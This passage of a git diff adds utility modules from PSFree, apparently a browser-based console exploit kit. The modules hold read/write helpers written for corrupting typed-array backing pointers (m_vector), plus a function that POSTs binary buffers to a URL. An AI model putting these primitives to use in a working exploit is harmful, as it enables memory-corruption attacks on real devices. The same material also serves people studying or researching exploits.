See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +import { Int } from './int64.mjs'; + +// view.buffer is the underlying ArrayBuffer of a TypedArray, but since we will +// be corrupting the m_vector of our target views later, the ArrayBuffer's +// buffer will not correspond to our fake m_vector anyway. +// +// can't use: +// +// function read32(u8_view, offset) { +// let res = new Uint32Array(u8_view.buffer, offset, 1); +// return res[0]; +// } +// +// to implement read32, we need to index the view instead: +// +// function read32(u8_view, offset) { +// let res = 0; +// for (let i = 0; i < 4; i++) { +// res += u8_view[offset + i] << i*8; +// } +// // << returns a signed integer, >>> converts it to unsigned +// return res >>> 0; +// } + +// for reads less than 8 bytes +function read(u8_view, offset, size) { + let res = 0; + for (let i = 0; i < size; i++) { + res += u8_view[offset + i] << i*8; + } + // << returns a signed integer, >>> converts it to unsigned + return res >>> 0; +} + +export function read16(u8_view, offset) { + return read(u8_view, offset, 2); +} + +export function read32(u8_view, offset) { + return read(u8_view, offset, 4); +} + +export function read64(u8_view, offset) { + let res = []; + for (let i = 0; i < 8; i++) { + res.push(u8_view[offset + i]); + } + return new Int(res); +} + +// for writes less than 8 bytes +function write(u8_view, offset, value, size) { + for (let i = 0; i < size; i++) { + u8_view[offset + i] = (value >>> i*8) & 0xff; + } +} + +export function write16(u8_view, offset, value) { + write(u8_view, offset, value, 2); +} + +export function write32(u8_view, offset, value) { + write(u8_view, offset, value, 4); +} + +export function write64(u8_view, offset, value) { + if (!(value instanceof Int)) { + throw TypeError('write64 value must be an Int'); + } + + let low = value.low(); + let high = value.high(); + + for (let i = 0; i < 4; i++) { + u8_view[offset + i] = (low >>> i*8) & 0xff; + } + for (let i = 0; i < 4; i++) { + u8_view[offset + 4 + i] = (high >>> i*8) & 0xff; + } +} + +export function sread64(str, offset) { + let res = []; + for (let i = 0; i < 8; i++) { + res.push(str.charCodeAt(offset + i)); + } + return new Int(res); +} diff --git a/restore/900New/utils.mjs b/restore/900New/utils.mjs new file mode 100644 index 0000000..aaa227a --- /dev/null +++ b/restore/900New/utils.mjs @@ -0,0 +1,75 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +import { Int } from './int64.mjs'; + +export function die(msg) { + alert(msg); + undefinedFunction(); +} + +export function debug_log(msg) { + document.getElementById("progress").style.color = "orange"; + document.getElementById("progress").innerHTML=msg; + let textNode = document.createTextNode(msg); + let node = document.createElement("p").appendChild(textNode); + +} + +export function clear_log() { + document.body.innerHTML = null; +} + +export function str2array(str, length, offset) { + if (offset === undefined) { + offset = 0; + } + let a = new Array(length); + for (let i = 0; i < length; i++) { + a[i] = str.charCodeAt(i + offset); + } + return a; +} + +// alignment must be 32 bits and is a power of 2 +export function align(a, alignment) { + if (!(a instanceof Int)) { + a = new Int(a); + } + const mask = -alignment & 0xffffffff; + let type = a.constructor; + let low = a.low() & mask; + return new type(low, a.high()); +} + +export async function send(url, buffer, file_name, onload=() => {}) { + const file = new File( + [buffer], + file_name, + {type:'application/octet-stream'} + ); + const form = new FormData(); + form.append('upload', file); + + debug_log('send'); + const response = await fetch(url, {method: 'POST', body: form}); + + if (!response.ok) { + throw Error(`Network response was not OK, status: ${response.status}`); + } + onload(); +} diff --git a/restore/index.html b/restore/index.html index b4bc6f0..f16f493 100644 --- a/restore/index.html +++ b/restore/index.html @@ -4,11 +4,9 @@ Restore Host to User's Guide by Karo For 900